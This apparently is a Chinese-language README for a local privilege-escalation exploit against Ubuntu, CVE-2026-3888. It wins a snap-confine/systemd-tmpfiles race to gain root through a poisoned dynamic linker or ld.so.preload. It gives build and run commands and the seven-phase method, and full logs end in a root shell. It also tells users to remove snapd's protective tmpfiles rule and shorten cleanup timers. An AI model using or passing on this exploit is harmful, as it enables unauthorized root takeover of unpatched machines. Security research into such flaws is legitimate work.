本地权限提升漏洞利用程序,针对 Ubuntu 上的 CVE-2026-3888,攻击 snap-confine 和 systemd-tmpfiles,提供 SUID 和 capabilities 变体以实现 root 访问权限。
通过利用 snap-confine 与 systemd-tmpfiles 之间的 TOCTOU 竞态条件,在 Ubuntu Desktop 24.04+ 上实现从非特权用户到完全 root 的本地权限提升。提供两种变体:SUID 和 Capabilities。
CVSS: 7.8(高危) | 公告: Qualys | 补丁: snapd 2.74.2,2026年3月17日
systemd-tmpfiles 删除 /tmp 下过期的 .snap 模拟目录(30天过期)snap-confine,在模拟 bind-mount 序列期间可靠地赢得竞态ld-linux-x86-64.so.2 被替换为调用 setreuid(0,0) + execve 的 shellcodesnap-confine 以 root 权限触发 shellcode/var/snap/firefox/common/ 以逃逸沙箱| 文件 | 描述 |
|---|---|
exploit_suid.c | 统一单二进制利用程序——基于 fork 的编排器中包含全部 7 个阶段 |
librootshell_suid.c | 载荷——通过原始 x86_64 系统调用替换 ld-linux-x86-64.so.2 的最小 ELF |
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
两者必须在 x86_64 Linux 上编译(或交叉编译)。exploit 是静态链接的,因此可以在 snap 沙箱内运行而无需库依赖。librootshell.so 使用 -nostdlib,因为它只包含原始系统调用——没有 libc。
./exploit <librootshell.so> [-d] [-s]
| 标志 | 描述 |
|---|---|
-d | 显示 snap-confine 调试输出(详细模式) |
-s | 跳过 .snap 清理等待(需要 root 密码) |
# 正常运行
./exploit ./librootshell.so
# 调试模式
./exploit ./librootshell.so -d
# 失败后重试
./exploit ./librootshell.so -s
利用程序进入沙箱,等待 systemd-tmpfiles 删除 .snap(在原生 Ubuntu 25.10 上最多 10 天,在原生 Ubuntu 24.04 上最多 30 天),然后自动运行竞态。成功后,进入 root shell。
snap-confine 必须为 SUID-root(-rwsr-xr-x 1 root root /usr/lib/snapd/snap-confine)systemd-tmpfiles-clean.timer 处于活动状态busybox(/usr/bin/busybox)user@ubuntu:~$ snap --version
snap 2.63.1+24.04
snapd 2.63.1+24.04
series 16
ubuntu 24.04
kernel 6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] Payload: /home/user/./librootshell.so (9056 bytes)
[Phase 1] Entering Firefox sandbox...
[+] Inner shell PID: 3122
[Phase 2] Waiting for .snap deletion...
[*] Polling (up to 30 days on stock Ubuntu).
[*] Hint: use -s to skip.
[+] .snap deleted.
[Phase 3] Destroying cached mount namespace...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_sygTaK//dev: No such file or directory
[+] Namespace destroyed.
[Phase 4] Setting up and running the race...
[*] Working directory: /proc/3122/cwd
[*] Building .snap and .exchange...
[*] 285 entries copied to exchange directory
[*] Starting race...
[*] Monitoring snap-confine (child PID 3543)...
[!] TRIGGER — swapping directories...
[+] SWAP DONE — race won!
[*] ld-linux in namespace: user:user 755
[+] Poisoned namespace PID: 3543
[Phase 5] Injecting payload into poisoned namespace...
[+] ld-linux owned by uid 1000 (attacker). Race confirmed.
[*] Planting busybox...
[*] Writing escape script → /tmp/sh
[*] Overwriting ld-linux-x86-64.so.2...
[+] Payload injected.
[Phase 6] Triggering root via SUID snap-confine...
[*] snap-confine → snap-confine (SUID trigger)
[*] Exit status: 0
[Phase 7] Verifying...
[+] SUID root bash: /var/snap/firefox/common/bash (mode 4755)
[*] Cleaning up background processes...
================================================================
ROOT SHELL: /var/snap/firefox/common/bash -p
================================================================
bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
systemd-tmpfiles 删除 /tmp 下过期的 .snap 模拟目录snap-confine,在 /var/lib 模拟 bind-mount 序列期间可靠地赢得竞态/var/lib/snapd/mount/snap.snap-store.user-fstab 的控制权user-fstab 条目将带 ld.so.preload 的投毒 /etc bind-mount 进沙箱/tmp/.snap 的 SUID-root su 二进制文件,预加载调用 setreuid(0,0) + execve("/tmp/sh") 的 librootshell.so| 文件 | 描述 |
|---|---|
exploit_caps.c | 统一单二进制利用程序——基于 fork 的编排器中包含全部 7 个阶段 |
librootshell_caps.c | 载荷——带构造函数(调用 setreuid(0,0) + execve)的共享库 |
gcc -O2 -static -o exploit exploit_caps.c
gcc -shared -fPIC -nostartfiles -o librootshell.so librootshell_caps.c
两者必须在 x86_64 Linux 上编译(或交叉编译)。exploit 是静态链接的,因此可以在 snap 沙箱内运行而无需库依赖。librootshell.so 使用 -nostartfiles 和 __attribute__((constructor))——它通过 ld.so.preload 在目标二进制文件的 main() 之前被加载。
./exploit <librootshell.so> [-d] [-s]
| 标志 | 描述 |
|---|---|
-d | 显示 snap-confine 调试输出(详细模式) |
-s | 跳过 .snap 清理等待(当 .snap 已不存在时使用) |
# 正常运行
./exploit ./librootshell.so
# 调试模式
./exploit ./librootshell.so -d
# 跳过等待(重试)
./exploit ./librootshell.so -s
利用程序进入沙箱,等待 systemd-tmpfiles 删除 .snap(在原生 Ubuntu 25.10 上最多 10 天,在原生 Ubuntu 24.04 上最多 30 天),然后自动运行竞态。成功后,进入 root shell。
snap-confine 必须具有 capabilities(cap_sys_admin、cap_chown、cap_dac_override 等)snap-store snap(Ubuntu Desktop 默认安装)core22 基础 snapsystemd-tmpfiles-clean.timer 处于活动状态busybox(/usr/bin/busybox)user@ubuntu:~$ snap --version
snap 2.71.1+ubuntu25.10.1
snapd 2.71.1+ubuntu25.10.1
series 16
ubuntu 25.10
kernel 6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=25.10
DISTRIB_CODENAME=questing
DISTRIB_DESCRIPTION="Ubuntu 25.10"
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles Capabilities LPE
================================================================
[*] Payload: /home/user/./librootshell.so (14320 bytes)
[Phase 1] Entering snap-store sandbox...
[+] Inner shell PID: 3501
[Phase 2] Waiting for .snap deletion...
[*] Polling (up to 10 days on Ubuntu 25.10).
[*] Hint: use -s to skip.
[+] .snap deleted.
[Phase 3] Destroying cached mount namespace...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_wQcOnV//dev: No such file or directory
[+] Namespace destroyed (.mnt gone).
[Phase 4] Setting up and running the race...
[*] Working directory: /proc/3501/cwd
[*] Building .snap and .exchange...
[*] 17 entries copied to exchange directory
[*] Starting race...
[*] Monitoring snap-confine (child PID 3678)...
[!] TRIGGER — swapping directories...
[+] SWAP DONE — race won!
[+] Race won. /var/lib/snapd is now user-owned.
[Phase 5] Setting up payload and user-fstab...
[*] Copying /etc to .snap/etc...
[*] Writing ld.so.preload...
[*] Writing user-fstab...
[*] Copying librootshell.so to /tmp/...
[*] Copying busybox...
[*] Writing escape script...
[*] Swapping var/lib back (restoring original snapd metadata)...
[+] Payload ready.
[Phase 6] Triggering root via SUID binary in /tmp/.snap...
[*] Executing: snap-confine → /tmp/.snap/var/lib/snapd/hostfs/snap/core22/current/usr/bin/su
[*] Exit status: 0
[Phase 7] Verifying...
[+] SUID root bash: /var/snap/snap-store/common/bash (mode 4755)
[*] Cleaning up background processes...
================================================================
ROOT SHELL: /var/snap/snap-store/common/bash -p
================================================================
bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
在原生 Ubuntu 安装上,.snap 清理需要 30 天(24.04)或 10 天(25.10)。为加快测试速度,可缩短 /tmp 的过期时间和定时器间隔:
编辑 /usr/lib/tmpfiles.d/tmp.conf(以 root 身份):
# 将过期时间从 30d 改为 4m
sudo sed -i 's|^q /tmp .\+|q /tmp 1777 root root 4m|' /usr/lib/tmpfiles.d/tmp.conf
验证:
grep '^q /tmp' /usr/lib/tmpfiles.d/tmp.conf
# 应显示:q /tmp 1777 root root 4m
sudo mkdir -p /etc/systemd/system/systemd-tmpfiles-clean.timer.d
sudo tee /etc/systemd/system/systemd-tmpfiles-clean.timer.d/override.conf > /dev/null <<'EOF'
[Timer]
OnBootSec=1m
OnUnitActiveSec=1m
EOF
sudo systemctl daemon-reload
sudo systemctl restart systemd-tmpfiles-clean.timer
验证:
systemctl list-timers systemd-tmpfiles-clean
# NEXT 列应显示大约 1 分钟后
snapd 2.73+ 添加了一条排除规则,阻止 tmpfiles 清理 .snap。如果你的系统存在此规则,请检查并移除:
cat /usr/lib/tmpfiles.d/snapd.conf
# 如果看到:x /tmp/snap-private-tmp/*/tmp/.snap
# 删除该行,或降级到 snapd 2.71.1
使用这些设置,.snap 将在过期后约 5 分钟内被清理,从而在测试期间实现快速迭代。
本代码严格仅供教育目的、经授权的安全研究和渗透测试使用,且必须已获得明确的书面许可。作者不对本软件的滥用承担任何责任。使用本代码即表示您同意对自己的行为及其使用所产生的任何后果承担全部责任。请勿将本代码用于您不拥有或未经明确授权测试的系统。
| Ubuntu 24.04 (SUID) | Ubuntu 25.10 (Capabilities) |
|---|
| snap-confine | SUID-root | Capabilities(cap_sys_admin 等) |
| 目标 snap | firefox | snap-store |
| 模拟目标 | /usr/lib/x86_64-linux-gnu(约285个条目) | /var/lib(约17个条目) |
| 利用向量 | 用 shellcode 覆盖 ld-linux-x86-64.so.2 | 控制 user-fstab + ld.so.preload |
| 载荷格式 | 带原始系统调用的静态 ELF | 带 __attribute__((constructor)) 的共享库 |
| root 触发方式 | SUID snap-confine 加载被投毒的动态链接器 | /tmp/.snap 中的 SUID su 预加载 .so |
| cgroup 要求 | 任意 snap.* 名称 | 精确匹配:snap.snap-store.hook.configure |
.snap 清理周期 | 30 天 | 10 天 |
| 沙箱逃逸 | /var/snap/firefox/common/bash | /var/snap/snap-store/common/bash |
/var/snap/snap-store/common/ 以逃逸沙箱